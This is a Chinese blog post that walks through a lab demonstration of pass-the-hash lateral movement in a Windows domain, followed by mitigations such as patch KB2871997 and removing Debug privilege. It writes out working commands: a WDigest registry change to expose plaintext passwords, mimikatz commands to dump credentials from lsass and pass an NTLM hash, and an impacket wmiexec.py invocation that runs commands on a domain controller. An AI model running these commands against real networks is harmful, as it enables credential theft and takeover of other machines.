博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

内网横向渗透之哈希传递攻击

0x00 前言

横向渗透中的哈希传递攻击,这一部分在内网渗透中是十分关键的。在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。

Pass The Hash 哈希传递攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在Windows系统中,通常会使用NTLM Hash对访问资源的用户进行身份认证,所以该攻击可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录目标主机或反弹shell。

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,只能读取哈希值。虽然此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

 

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

 

但是,这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。如果攻击者拥有用户密码的哈希值,则无需强行使用明文密码;他们可以简单地使用他们已经收获的任意用户帐户的哈希值来针对远程系统进行身份验证并模拟该用户。换句话说,从攻击者的角度来看,哈希在功能上等同于生成它们的原始密码。

0x01 利用方法

使用Mimikatz进行PTH

因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。
下面演示哈希传递攻击的方法(需要管理员权限):

 

 

上图是一个内网环境,域名为hacke,有三台机器

win_server_2012为域控制器,假设我们取得了域成员主机的控制权,需要进一步横向渗透去拿下域控

首先攻击者在win7_2上面上传mimikatz,并用mimikatz抓取hash:

privilege::debug
sekurlsa::logonpasswords

如上图,成功抓取到域管理员的NTLM Hash,但发现mimikatz中无法粘贴复制,可以将结果导出来

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

 

然后,在Windows 7上用mimikatz将获取的Administrator的Hash添加进lsass中:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:hacke /ntlm:4d6e43b2cdc951808100f5b1d09aac63"

成功,此时会自动弹出一个新的shell

 

这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器DC的c盘目录(要使用主机名,不能用IP,否则报错):

之后,攻击者便可以利用Windows7跳板机任意访问内网其他机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

利用wmiexec.py进行PTH

下载地址:https://github.com/SecureAuthCorp/impacket

这是impacket工具包里面的脚本我们在之前已经说过了,其还可以指定-hashes选项来进行PTH,十分强大并可以走socks代理。

使用如下:
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@192.168.52.138 “命令” python wmiexec.py -hashes 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 god/administrator@192.168.52.138 “whoami”

0x02 防范措施

KB2871997补丁的影响

防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。
但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递。

ps:

KB2871997补丁并不能真正防止哈希传递,只是在一定程度上缓解了PTH的问题。
浅探内网横向移动-Pass The Hash  https://xz.aliyun.com/t/8117#toc-11
KB22871997是否真的能防御PTH攻击?https://www.anquanke.com/post/id/193150

防御 mimikatz 攻击

mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。

所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步"privilege::debug"时就会报错了。

posted @ 2021-03-13 15:24  My_Dreams  阅读(1447)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();